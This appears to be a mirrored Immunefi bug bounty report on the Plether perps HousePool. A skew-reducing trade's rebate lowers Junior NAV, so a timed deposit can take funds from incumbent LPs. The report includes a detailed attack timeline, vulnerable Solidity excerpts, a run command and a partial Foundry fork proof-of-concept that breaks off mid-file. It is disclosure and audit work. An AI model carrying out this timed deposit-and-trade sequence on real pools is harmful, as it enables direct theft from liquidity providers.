Skip to content
Business logic Audit finding Advanced

Junior deposit pricing in HousePool LP epoch settlement ignores the outstanding VPI rebate reserve, which leads to direct theft of incumbent Junior LP funds

A skew-reducing trade open pays a rebate out of HousePool cash and locks it as a trader reserve, but the LP NAV used to price Junior deposits excludes that reserve, so Junior NAV dips by the rebate amount. A Junior deposit priced during that dip buys shares cheaply and captures the recovery when the close returns the reserve to the pool, taking funds from incumbent Junior LPs.

deltabear Follow

Originally disclosed on Immunefi

Critical View original
  • Disclosed after under an hour

#98835 [SC-Critical] Junior deposit pricing in HousePool LP epoch settlement ignores the outstanding VPI rebate reserve, which leads to direct theft of incumbent Junior LP funds

Submitted on Nov 10th 2026 at 13:48:31 UTC by @deltabear for Audit Competition | Plether

Description

Brief/Intro

A skew-reducing open earns a negative VPI. The engine pays that rebate out of HousePool cash at the open and locks it in a reserve on the trader's clearinghouse account. LP NAV does not count the reserve, so Junior NAV drops by the rebate. At the close, the lifetime-VPI clamp sends the whole reserve back to the pool and Junior NAV recovers. A Junior deposit priced while the reserve is out buys shares at the dip and takes its share of the recovery from the incumbent Junior LPs. I ran it on a fork of the deployed v2.0.0 with the real book (39% skew), the real price ticks, every real transaction of the window, and the deployment's own LP epoch keeper doing both settlements. The attacker withdraws 9,123.595321 USDG more than it put in. The incumbent Junior shares end 31,797.966395 USDG lower than when an honest depositor makes the same deposit at the same times.

Vulnerability Details

The value moves in this order.

  1. The open pays the rebate out of LP cash. For a skew-reducing open the planner turns the negative trade cost into a pool payout (CfdEnginePlanLib.sol:333). The only checks are numeric (CfdEnginePlanLib.sol:335-341) and that the rebate fits in pool cash (CfdEnginePlanLib.sol:730). The sidecar pays it out of HousePool (CfdEngineSettlementSidecar.sol:442-444) and locks the same amount as the trader's VPI rebate reserve (CfdEngineSettlementSidecar.sol:466-471, target CfdEnginePlanLib.sol:348-349). In the PoC the rebate is R = 63,830.976170 USDG and pool.totalAssets() falls from 102,231,237.453802 to 102,167,406.477632.
  2. LP NAV drops by R. The HousePool snapshot takes pool.totalAssets() as its physical assets (CfdEngineProtocolLens.sol:63-72), and NAV is those assets plus the terminal price delta minus trader claims (HousePoolAccountingLib.sol:60-78). The reserve sits in the clearinghouse, outside both. Junior takes the loss first (HousePoolWaterfallAccountingLib.sol:167). In the PoC, Junior NAV falls by 63,666.010985.
  3. The deposit is priced at the dip. _settleLpEpoch reconciles (HousePool.sol:835) and prices the matured Junior deposit from the reconciled juniorPrincipal (HousePool.sol:914-920). The attacker's 95,000,000 USDG deposit gets 94,787,343,818,440,629 shares. The same deposit at the same time, with no open rebate, gets 94,726,655,997,718,665.
  4. The close sends R back to the pool. The clamp forces lifetime VPI to stay at or above zero (CloseAccountingLib.sol:116-118), so the close owes all of R back. The sidecar consumes the reserve into HousePool (CfdEngineSettlementSidecar.sol:690-693) and books it as revenue (CfdEngineSettlementSidecar.sol:604-613). Junior NAV rises by 64,144.519053, and the attacker's new shares hold 48.48% of Junior.
  5. The attacker exits at the restored NAV. After the 1 h deposit cooldown it redeems at the next epoch (HousePool.sol:840-841, HousePool.sol:886).

No check ties LP entry pricing to outstanding lifetime VPI. The NAV that prices deposits leaves out a reserve that the close is certain to return to the pool, while the rebate that reserve backs has already left the pool. SECURITY.md:871-872 states the reserve does not inflate NAV. Excluding it makes NAV low by exactly R for as long as the position is open.

Vulnerable source code

1. The negative trade cost becomes a pool payout @ packages/perps/src/libraries/CfdEnginePlanLib.sol:331-333

Solidity
delta.tradeCostAssets = openState.tradeCostAssets;
delta.marginDeltaAssets = order.marginDelta;
delta.poolRebatePayoutAssets = openState.tradeCostAssets < 0 ? uint256(-openState.tradeCostAssets) : 0;

2. The only cash limit is pool cash @ packages/perps/src/libraries/CfdEnginePlanLib.sol:729-733

Solidity
uint256 rebateAssets = uint256(-cashDeltaBeforeTopUp);
if (rebateAssets > snap.poolCashAssets) {
    return false;
}
poolCashBeforeTopUp = snap.poolCashAssets - rebateAssets;

3. HousePool pays the rebate to the clearinghouse @ packages/perps/src/CfdEngineSettlementSidecar.sol:442-444

Solidity
if (delta.poolRebatePayoutAssets > 0) {
    IHousePool(host.pool()).payOut(host.clearinghouse(), delta.poolRebatePayoutAssets);
}

4. The same amount is locked as the trader's VPI rebate reserve @ packages/perps/src/CfdEngineSettlementSidecar.sol:466-471

Solidity
if (delta.vpiRebateReserveAfterAssets > delta.vpiRebateReserveBeforeAssets) {
    uint256 reserveIncreaseAssets = delta.vpiRebateReserveAfterAssets - delta.vpiRebateReserveBeforeAssets;
    uint256 reserveFromFreeAssets = reserveIncreaseAssets - delta.vpiRebateReserveFromPledgeAssets;
    if (reserveFromFreeAssets > 0) {
        clearinghouse.lockVpiRebateReserve(delta.account, reserveFromFreeAssets);
    }

5. LP NAV inputs take pool assets only @ packages/perps/src/CfdEngineProtocolLens.sol:62-65

Solidity
ICfdEngineTypes.TerminalNavSnapshot memory terminalSnapshot = engineContract.terminalNavSnapshot();
uint256 poolAssets = engineContract.pool().totalAssets();
snapshot.physicalAssets = poolAssets;
snapshot.netPhysicalAssets = poolAssets;

6. The matured Junior deposit is priced from the reconciled juniorPrincipal @ packages/perps/src/HousePool.sol:914-920

Solidity
DepositPhase memory juniorDepositPhase;
juniorDepositPhase.pricingAssets = juniorPrincipal;
juniorDepositPhase.pricingSupply = _juniorShareSupply();
bool juniorActivationDeferred = juniorDepositPhase.pricingAssets == 0 && juniorDepositPhase.pricingSupply != 0;
if (!juniorActivationDeferred) {
    juniorDepositPhase = _settleDepositPhase(juniorVault, result.cutoffEpoch, juniorDepositPhase, 0, false);
}

7. The close clamp owes the whole rebate back @ packages/perps/src/libraries/CloseAccountingLib.sol:116-118

Solidity
if (state.proportionalAccrualAssets + state.vpiDeltaAssets < 0) {
    state.vpiDeltaAssets = -state.proportionalAccrualAssets;
}

8. The reserve is consumed into HousePool @ packages/perps/src/CfdEngineSettlementSidecar.sol:690-693

Solidity
_requireVpiReserve(clearinghouse, delta.account, delta.vpiRebateReserveBeforeAssets);
if (delta.vpiRebateReserveConsumedAssets > 0) {
    clearinghouse.consumeVpiRebateReserve(delta.account, host.pool(), delta.vpiRebateReserveConsumedAssets);
}

9. The clawback is booked as LP revenue @ packages/perps/src/CfdEngineSettlementSidecar.sol:604-612

Solidity
uint256 cashArrivedRevenueAssets =
    delta.pricePnlPledgeConsumedAssets + delta.actionChargeCollectedAssets - protocolFeeCreditedAssets;
if (cashArrivedRevenueAssets > 0) {
    IHousePool(host.pool())
        .recordClaimantInflow(
            cashArrivedRevenueAssets,
            IHousePool.ClaimantInflowKind.Revenue,
            IHousePool.ClaimantInflowCashMode.CashArrived
        );

Impact Details

  • Direct theft of any user funds, whether at-rest or in-motion, other than unclaimed yield.
    • The attacker minted 96,149,904.854584 USDG into its two wallets and ends with 96,159,028.449905 USDG in them, +9,123.595321 USDG.
    • The incumbent Junior shares (99.99% held by the real LP 0x5a71a4094Ec81165Ada48AA4c27dA48ec27E0d6B) are worth 100,983,475.550115 USDG at 06:00:21. With an honest depositor making the same deposit at the same times, they are worth 101,015,273.516510 USDG. The difference is -31,797.966395 USDG.
    • The attacker's gain from combining the deposit with the trade, against both controls on the same path, is +30,982.726798 USDG. The incumbent's change from the same combination is -30,982.727061 USDG.
  • The loss is Junior principal held in HousePool. In the honest-depositor control, the incumbent also ends 2,791.75 USDG below its value before the open (market drift), so the window has no accrued yield for the loss to come from.
  • Every attacker action is permissionless:
    • Junior deposits are uncapped (TrancheVault.sol:1325). The attacker uses requestDeposit, claimDeposit, requestRedeem and claimRedeem.
    • The trade uses OrderRouter.commitOrder and executeOrder. executeOrder has no caller gate (OrderRouter.sol:240), so the attacker's own keeper fills its orders.
    • The deployment's LP epoch keeper settles both epochs (04:00:12 and 06:00:21). It settled every epoch with a matured request since deployment, 12-15 s after the hour.
  • The market state is third-party skew. On 6 November 2026 the real book was net LONG 39.9M USDG, 39% of the pool, for 7 hours. The attacker's trade reduces that skew.
  • The incumbent never sees it. The rebate leaves the pool at 03:59:33, the deposit is priced at 04:00:12 and the rebate is back at 04:00:42.
  • It repeats every epoch while third-party skew is open.
  • The capital is 96.15M USDG, below the program's USD 100M line. The 95M LP leg is held for 2 h 10 m and the 1.15M trader leg for 69 s.
  • Dedup. SECURITY.md:871-872 says "neither anticipated VPI nor its reserve inflates terminal K or symmetric NAV". The rebate that reserve backs has already been paid out of the pool, so the line describes why NAV is low by R. It does not cover deposits priced in that state. No item in the listed audit reports or known-issue entries covers LP entry pricing against an outstanding VPI rebate.

References

Mechanism

  • packages/perps/src/libraries/CfdEnginePlanLib.sol:333 - negative trade cost becomes poolRebatePayoutAssets
  • packages/perps/src/libraries/CfdEnginePlanLib.sol:335-341 - numeric checks only
  • packages/perps/src/libraries/CfdEnginePlanLib.sol:348-349 - reserve target after the open
  • packages/perps/src/libraries/CfdEnginePlanLib.sol:730 - rebate limited to pool cash
  • packages/perps/src/CfdEngineSettlementSidecar.sol:442-444 - HousePool pays the rebate
  • packages/perps/src/CfdEngineSettlementSidecar.sol:466-471 - reserve locked in the clearinghouse
  • packages/perps/src/CfdEngineProtocolLens.sol:63-72 - NAV inputs from pool assets and trader claims
  • packages/perps/src/libraries/HousePoolAccountingLib.sol:60-78 - terminal NAV
  • packages/perps/src/libraries/HousePoolWaterfallAccountingLib.sol:167 - Junior absorbs loss first
  • packages/perps/src/HousePool.sol:835 - reconcile before pricing
  • packages/perps/src/HousePool.sol:914-920 - Junior deposit priced from juniorPrincipal
  • packages/perps/src/libraries/CloseAccountingLib.sol:116-118 - lifetime-VPI clamp
  • packages/perps/src/CfdEngineSettlementSidecar.sol:690-693 - reserve consumed into HousePool
  • packages/perps/src/CfdEngineSettlementSidecar.sol:604-613 - clawback booked as revenue
  • packages/perps/src/HousePool.sol:840-841 - Junior redemption priced from juniorPrincipal
  • packages/perps/src/HousePool.sol:886 - Junior redemption funded

Entry points

  • packages/perps/src/TrancheVault.sol:1325 - Junior deposit capacity is uncapped
  • packages/perps/src/OrderRouter.sol:240 - executeOrder, no caller gate
  • packages/perps/src/OrderRouter.sol:479 - settleLpEpoch(bytes[]), permissionless

Docs and deployment

  • packages/perps/SECURITY.md:871-872 - reserve excluded from NAV
  • packages/perps/DEPLOYMENT.md:131-155 - release parameters asserted by the PoC
  • packages/perps/DEPLOYMENT.md:510 - LP epoch keeper operations
  • deployments/releases/2026-10-28-perps-arbitrum-sepolia-v2.0.0/manifest.json - deployed addresses and code hashes

Link to Proof of Concept

https://gist.github.com/decies-centena-millia/6c6e5b085a059bc9cbae0cfb809a1ad6

Proof of Concept

Proof of Concept

The PoC forks the deployed v2.0.0 on Arbitrum Sepolia at Fri 2026-11-06 03:50:00 UTC inside the repo's Foundry suite at a82d4fef, and replays all 247 real transactions of the window at their real blocks and times. It proves the attacker withdraws more USDG than it minted, the incumbent Junior shares pay for it, and the deployment's own LP epoch keeper does the pricing.

Bash
git checkout a82d4fefb02768e5b3bddcc97dee371eee24fea8 && mkdir -p packages/perps/test/poc
cp NegativeVpiRebateDepositMirrorForkPoC.t.sol NegativeVpiRebateForkData.sol packages/perps/test/poc/
cd packages/perps && ARB_SEPOLIA_RPC_URL=https://arbitrum-sepolia.gateway.tenderly.co forge test --match-path test/poc/NegativeVpiRebateDepositMirrorForkPoC.t.sol --skip 'test/perps/**' --skip 'script/**' --skip 'src/**' -vv
  • Tools: Foundry forge 1.8.5 (51a52c59cffd940f76eddd0b4bb1791aa4b5ac7f), solc 0.8.35, via_ir = true, optimizer 200, all from the repo's packages/perps/foundry.toml (committed sha256 666cbbcac1fdc446bd505d297fd413739f39f1aa8e24539f88cdf8e99488d8a1; the CRLF Windows checkout hashes to 091b3d455f2b6076d5c8d98b97de9336ce41b4f03789a0b67a85825d57c38dc0). Any Arbitrum Sepolia archive RPC works.
  • Code state: v2.0.0 was built from 1209ca8a, and git diff 1209ca8a a82d4fef -- packages/perps/src is 0 lines, so the deployed bytecode is the in-scope code. Upstream Plether-Fi/plether-core main is 6909f261 (checked with git ls-remote at run time), also 0 lines from a82d4fef in packages/perps/src. The bug is on main and deployed. setUp asserts the runtime code hash of all 15 manifest contracts and 22 release parameters from DEPLOYMENT.md.
  • What is real: the pool, book and LPs at the fork block; every keeper price tick (vm.transact, each checked against the real post-block mark); every other real transaction, re-sent from its real sender with verbatim calldata and checked against its real receipt's events (0 mismatches); and every price, as signed Pyth payloads verified by the deployed Pyth and Wormhole contracts.
  • What the PoC adds:
    • The attacker and its keeper are fresh addresses, and vm.prank stands in for their signatures.
    • USDG comes from the public MockUSDG faucet mint. The program allows mocking USDG.
    • Forge's built-in ArbSys shim returns the fork block, so vm.mockCall makes arbBlockNumber() return the real L2 block, as on chain.
    • The LP epoch keeper's settlements are sent from its own address (0xC60408d3f42A7Aa49889bc94BA6a74b9801b7BDA) at its measured delay. Every LpEpochSettled since deployment was its call, 12-15 s after the hour, only for epochs with a matured request (epoch-settlers.tsv in the gist).
    • Real owner order ids shift by 2 past the attacker's two commits. Each one is checked to be the same real order.

attack step-by-step

  1. 03:50:05. USDG.mint, then JuniorVault.requestDeposit(95,000,000 USDG) before the 03:55 cutoff, so the deposit matures at 04:00.
  2. 03:59:29. clearinghouse.deposit(1,149,904.854584 USDG) and OrderRouter.commitOrder for a skew-reducing SHORT of 23,804,500 tokens (22,998,097.09 USDG). 03:59:33: the attacker's keeper calls executeOrder on the real tick, and the pool pays R = 63,830.976170 USDG.
  3. 04:00:12. The deployment's LP epoch keeper calls OrderRouter.settleLpEpoch, and the deposit activates at the depressed NAV. The attacker calls claimDeposit.
  4. 04:00:35. commitOrder for the full close. 04:00:42: executeOrder fills it on the real tick, the clamp returns R to the pool, and the attacker calls clearinghouse.withdraw.
  5. 05:00:14. requestRedeem of every share, as soon as the cooldown allows. 06:00:21: the LP epoch keeper settles the redemption, and claimRedeem sends 95,026,662.364267 USDG to the attacker's wallet.
plant : requestDeposit into Junior, then open a skew-reducing SHORT just before the hour
fire  : the LP epoch keeper prices the deposit with the rebate out of the pool; close, then redeem at the restored NAV

main Attack code

full poc code, single file, single runnable command

The test is below. Its data file, NegativeVpiRebateForkData.sol, is generated from the real chain and holds the 251 real transaction hashes, blocks, receipt event hashes, real marks, the verbatim calldata of the 11 re-sent transactions and the four signed Pyth payloads. It is 110 KB, too large for this form, so it is in the gist. Tools: forge 1.8.5, solc 0.8.35 via_ir.

NegativeVpiRebateDepositMirrorForkPoC.t.sol (forge 1.8.5, solc 0.8.35)

Solidity
// SPDX-License-Identifier: AGPL-3.0
pragma solidity 0.8.35;

import {CfdTypes} from "@plether/perps/CfdTypes.sol";
import {OrderV3Types} from "@plether/perps/OrderV3Types.sol";
import {IOrderRouterAccounting} from "@plether/perps/interfaces/IOrderRouterAccounting.sol";
import {Test} from "forge-std/Test.sol";
import {Vm} from "forge-std/Vm.sol";
import {console2} from "forge-std/console2.sol";
import {NegativeVpiRebateForkData} from "./NegativeVpiRebateForkData.sol";

// ---------------------------------------------------------------------------------------------------------------------
// Minimal ABIs of the deployed v2.0.0 contracts (selectors as in packages/perps/src at a82d4fef). A wrong selector would
// revert against the deployed bytecode, so every call below is checked by the deployed code itself.
// ---------------------------------------------------------------------------------------------------------------------

interface IArbSysBlockNumber {

    function arbBlockNumber() external view returns (uint256);

}

/// @dev The deployed testnet settlement token (MockUSDG). Out of scope; its `mint` is public on Arbitrum Sepolia.
interface IUSDG {

    function mint(address to, uint256 amount) external;
    function approve(address spender, uint256 amount) external returns (bool);
    function balanceOf(address account) external view returns (uint256);

}

interface IEngine {

    function lastMarkPrice() external view returns (uint256);
    function lastMarkTime() external view returns (uint64);
    function sides(uint256 index)
        external
        view
        returns (uint256 maxProfitAssets, uint256 openInterest, uint256 entryNotional, uint256 totalMargin);
    function riskParams()
        external
        view
        returns (uint256, uint256, uint256, uint256, uint256, uint256, uint256, uint256, uint256, uint256);
    function executionFeeBps() external view returns (uint256);
    function settlementBufferBps() external view returns (uint256);
    function frozenCloseSpreadBps() external view returns (uint256);
    function fadRunwaySeconds() external view returns (uint256);
    function isFadWindow() external view returns (bool);
    function isOracleFrozen() external view returns (bool);
    function protocolTreasury() external view returns (address);
    function positions(address account)
        external
        view
        returns (uint256, uint256, uint256, uint256, CfdTypes.Side, uint64, int256);

}

interface IRouter {

    function commitOrder(OrderV3Types.OrderRequest calldata request) external returns (uint64 orderId);
    function executeOrder(uint64 orderId, bytes[] calldata pythUpdateData)
        external
        payable
        returns (OrderV3Types.ExecutionResult memory result);
    function settleLpEpoch(bytes[] calldata pythUpdateData) external payable;
    function maxExecutionWindowSeconds() external view returns (uint256);
    function minOpenNotionalAssets() external view returns (uint256);
    function maxPendingOrders() external view returns (uint256);
    function getPendingOrderView(uint64 orderId)
        external
        view
        returns (IOrderRouterAccounting.PendingOrderView memory pending, uint64 nextAccountOrderId);

}

interface IPool {

    function totalAssets() external view returns (uint256);
    function juniorPrincipal() external view returns (uint256);
    function seniorPrincipal() external view returns (uint256);
    function maxSeniorExposureAssets() external view returns (uint256);
    function maxSeniorShareBps() external view returns (uint256);
    function lpEpochSettlementPaused() external view returns (bool);

}

interface IOracle {

    function getUpdateFee(bytes[] calldata pythUpdateData) external view returns (uint256);
    function basketMaxConfidenceRatioBps() external view returns (uint256);
    function adverseConfidenceMultiplierBps() external view returns (uint256);

}

interface IClearinghouse {

    function deposit(address account, uint256 amount) external;
    function withdraw(address account, uint256 amount) external;
    function balanceAssets(address account) external view returns (uint256);
    function vpiRebateReserveAssets(address account) external view returns (uint256);
    function getFreeBuyingPowerAssets(address account) external view returns (uint256);

}

interface IBook {

    function currentExecutionConfigHash() external view returns (bytes32);

}

interface IVault {

    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function totalAssets() external view returns (uint256);
    function convertToAssets(uint256 shares) external view returns (uint256);
    function maintenanceFeeAprBps() external view returns (uint256);
    function requestDeposit(uint256 assets, address controller, address owner) external returns (uint256 requestId);
    function claimableDepositRequest(uint256 requestId, address controller) external view returns (uint256);
    function claimDeposit(uint256 requestId, uint256 assets, address receiver, address controller)
        external
        returns (uint256 shares);
    function maxRequestRedeem(address owner) external view returns (uint256);
    function requestRedeem(uint256 shares, address controller, address owner) external returns (uint256 requestId);
    function claimableRedeemRequest(uint256 requestId, address controller) external view returns (uint256);
    function claimRedeem(uint256 requestId, uint256 shares, address receiver, address controller)
        external
        returns (uint256 assets);

}

/// @title Fork PoC: a skew-reducing open's VPI rebate leaves Junior NAV and is clawed back at close, so a Junior deposit
///        activated in between buys at the dip and takes the recovery from the incumbent Junior LP.
/// @notice Forks the deployed Plether perps v2.0.0 (Arbitrum Sepolia) on Friday 2026-11-06 03:50:00 UTC, when the real
///         book was net LONG ~39.9M USDG (~39% of a 102.23M pool), and replays every real transaction of the next 2 h 13 m
///         at its real block and timestamp (240 keeper ticks, 4 ERC-4337 trade bundles, 4 owner executions, 3 USDG txs).
///         The attacker's own transactions are inserted between them. Every price is a real signed Pyth payload.
///         The attacker never settles an LP epoch: both settlements are sent from the deployment's real LP epoch keeper
///         0xC604...7BDA at its measured cadence (provenance/epoch-settlers.tsv: every epoch with a pending LP request
///         since deployment was settled by it 12-15 s after the hour). The attacker only opens its skew-reducing SHORT
///         before the hour and closes it after that keeper has priced the matured deposit.
contract NegativeVpiRebateDepositMirrorForkPoC is Test, NegativeVpiRebateForkData {

    // ------------------------------------------------------------------ deployment (release manifest v2.0.0)
    address internal constant USDG = 0x3d051DbBf5Ff427a4aE8Ad09746902666Af8FB9D;
    address internal constant CLEARINGHOUSE = 0xB5B851f627d6Df3CF3F096E23e20a58884D7b89A;
    address internal constant ENGINE = 0xcA18a6783D7542F9D2F28F4f259772b74C4D6bAA;
    address internal constant ENGINE_LENS = 0xfCa322C6868cEf53bD5C344628f9874712e48108;
    address internal constant POOL = 0xeB5604c393843B2f3c347Ec24Fa9dDaD6Ab2131e;
    address internal constant ORACLE = 0x4f2c62A0E03657F52C633c19c11f88d8F0897Bb2;
    address internal constant ROUTER = 0x918663D6Da8CB33b325a04c4A5e8c51D42F3b444;
    address internal constant LIFECYCLE_BOOK = 0x327d5fd04e17D96DD5C4F845A0b4256A9e19645C;
    address internal constant JUNIOR = 0x4A8b67184a1E3224c11A191cc69F22C50EEf734e;
    address internal constant SENIOR = 0x5Dc42Ba5a1E8DD3E1B6868D10f66A9bf8Fb5B83d;
    /// @dev The incumbent Junior LP: 100719184641992510 of 100729155152871363 Junior shares at the fork block
    ///      (provenance/junior-holders-at-fork.tsv). The rest (9970510878853) is held by the vault itself.
    address internal constant INCUMBENT_LP = 0x5a71a4094Ec81165Ada48AA4c27dA48ec27E0d6B;
    /// @dev The deployment's real LP epoch keeper (DEPLOYMENT.md "LP epoch keeper"). Every LpEpochSettled since deployment
    ///      was sent by it, through OrderRouter.settleLpEpoch(bytes[]), 12-15 s after the hour whenever an LP request had
    ///      matured: Mon 11-02 08:00:15, Wed 11-04 04:00:12, Sun 11-08 22:00:15 (weekend reopen). It sent nothing for
    ///      epochs with no pending request. Source: provenance/epoch-settlers.tsv (+ epoch-settlers.jsonrpc.log).
    address internal constant LP_EPOCH_KEEPER = 0xC60408d3f42A7Aa49889bc94BA6a74b9801b7BDA;

    // ------------------------------------------------------------------ real timeline (UTC, Friday 2026-11-06)
    uint256 internal constant FORK_BLOCK = 326_504_738; // 03:50:00 (epoch 03:00-04:00)
    uint256 internal constant FORK_TS = 1_793_937_000;
    /// @dev 03:50:05, before the 03:55:00 request cutoff (TrancheVault.LP_REQUEST_CUTOFF_DURATION = 5 min), so the Junior
    ///      deposit request matures at 04:00:00.
    uint256 internal constant DEPOSIT_TS = FORK_TS + 5;
    /// @dev Real keeper tick 0x6df278a7... lands in block 326506962 at 03:59:33 with Pyth publish time 03:59:30: the last
    ///      tick before the hour. The skew-reducing SHORT is committed at 03:59:29 and filled on it.
    uint256 internal constant TICK_OPEN_BLOCK = 326_506_962;
    uint256 internal constant TICK_OPEN_TS = 1_793_937_573;
    uint256 internal constant TICK_OPEN_PUBLISH = 1_793_937_570;
    /// @dev 04:00:00, the round hour at which the 03:50:05 deposit request matures.
    uint256 internal constant HOUR_0400 = 1_793_937_600;
    /// @dev Real keeper tick 0x72ae4e5b... lands in block 326507095 at 04:00:07 with Pyth publish time 04:00:03: the first
    ///      real signed basket of the 04:00 epoch (every component at or after the boundary, as live open-position
    ///      settlement requires). The real LP epoch keeper's 04:00 settlement uses this payload.
    uint256 internal constant TICK_SETTLE_BLOCK = 326_507_095;
    uint256 internal constant TICK_SETTLE_TS = 1_793_937_607;
    /// @dev 04:00:12: the LP epoch keeper's measured delay (+12 s on Wed 11-04 04:00, +15 s on the other two).
    uint256 internal constant SETTLE_TS = HOUR_0400 + 12;
    /// @dev Real keeper tick 0xe2a47de2... lands in block 326507229 at 04:00:42 with Pyth publish time 04:00:36: the first
    ///      tick after the settlement. The close is committed at 04:00:35 and filled on it.
    uint256 internal constant TICK_CLOSE_BLOCK = 326_507_229;
    uint256 internal constant TICK_CLOSE_TS = 1_793_937_642;
    uint256 internal constant TICK_CLOSE_PUBLISH = 1_793_937_636;
    /// @dev Redemption request: two seconds after the deposit cooldown ends (activation time 04:00:12 + 1 h; the cooldown
    ///      runs from depositEpochActivationTime, TrancheVault.sol:1108-1110), before the 05:55 cutoff of the 06:00 epoch.
    uint256 internal constant REDEEM_TS = SETTLE_TS + 1 hours + 2; // 05:00:14
    /// @dev Real keeper tick 0x7248f115... lands in block 326534752 at 06:00:21 with Pyth publish time 06:00:15: the
    ///      first real signed basket of the 06:00 epoch in the window (none published in [06:00:00, 06:00:15) was sent on
    ///      chain), so the LP epoch keeper's 06:00 settlement lands in this block with this payload, 21 s after the hour.
    uint256 internal constant TICK_REDEEM_BLOCK = 326_534_752;
    uint256 internal constant TICK_REDEEM_TS = 1_793_944_821;

    // ------------------------------------------------------------------ attacker parameters
    /// @dev Junior deposit. The incumbent Junior is ~101.02M USDG at the fork block; 95M stays under the program's
    ///      USD 100M case-by-case capital line.
    uint256 internal constant DEPOSIT = 95_000_000e6;

    // ------------------------------------------------------------------ actors (fresh addresses, no history)
    address internal ATTACKER = makeAddr("attacker");
    address internal A_KEEPER = makeAddr("attacker-keeper");

    IRouter internal router = IRouter(ROUTER);
    IEngine internal engine = IEngine(ENGINE);
    IClearinghouse internal clearinghouse = IClearinghouse(CLEARINGHOUSE);
    IPool internal pool = IPool(POOL);
    IOracle internal oracle = IOracle(ORACLE);
    IVault internal junior = IVault(JUNIOR);
    IUSDG internal usdg = IUSDG(USDG);

    Rtx[] internal replay;
    uint256 internal cursor;
    uint256 internal attackerCommits;
    uint256 internal lastBlock;
    uint256 internal lastTs;
    uint256 internal replayed;
    uint256 internal receiptTopicMismatches;
    uint256 internal incumbentShares;
    uint256 internal startSnapshot;

    struct Out {
        // attacker
        uint256 minted;
        uint256 attackerWalletEnd;
        int256 attackerProfit;
        uint256 sharesMinted;
        uint256 redeemedAssets;
        // trade leg
        uint256 shortSize;
        uint256 shortNotional;
        uint256 poolAssetsBeforeOpen;
        uint256 poolAssetsAfterOpen;
        int256 vpiAccruedAtOpen;
        uint256 reserveAtOpen;
        uint256 reserveAtSettlement;
        uint256 reserveBeforeClose;
        uint256 reserveAfterClose;
        

The original report as published on Immunefi, by deltabear. Images and videos are our own copies; raw HTML is shown as text. View it on Immunefi.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the LP entry pricing uses a NAV that excludes the outstanding VPI rebate reserve, even though that reserve is certain to be returned to the pool at close, so deposits are priced too low while a rebate is outstanding.

Impact

The attacker could withdraw about 9,123 USDG more than it put in, while incumbent Junior shares end about 31,798 USDG lower than with an honest depositor, and the pattern repeats every epoch while third-party skew is open.

What the attacker needed

Large capital (~96M USDG); third-party skew open in the book; permissionless deposit and order entry; LP epoch keeper settles on schedule

How it was found

  1. Request a Junior deposit before the cutoff so it matures at the next epoch.
  2. Open a skew-reducing short just before the hour so the pool pays a rebate and locks it as a reserve.
  3. Let the deployment's LP epoch keeper settle the epoch, pricing the deposit at the depressed NAV, then claim the deposit.
  4. Close the position so the clamp returns the reserve to the pool, then withdraw the trader funds.
  5. Request redemption of all shares once the cooldown allows, and claim the redemption at the next epoch.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

The pool has two kinds of users: traders and liquidity providers (LPs). When a trader opens a trade that reduces the pool's risk, the pool pays them a small bonus, and that money is set aside in a reserve. While the bonus is out, the pool's reported value is temporarily lower, so a new LP who joins at that moment gets more shares for the same money. When the trade closes, the reserve comes back and the pool value recovers, so the new LP's shares are suddenly worth more, paid for by the older LPs.

What is Business logic?

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.

More by deltabear

View all

30 more disclosed reports, best first.

More from Plether

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Business logic flaws

The lesson behind this report.

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.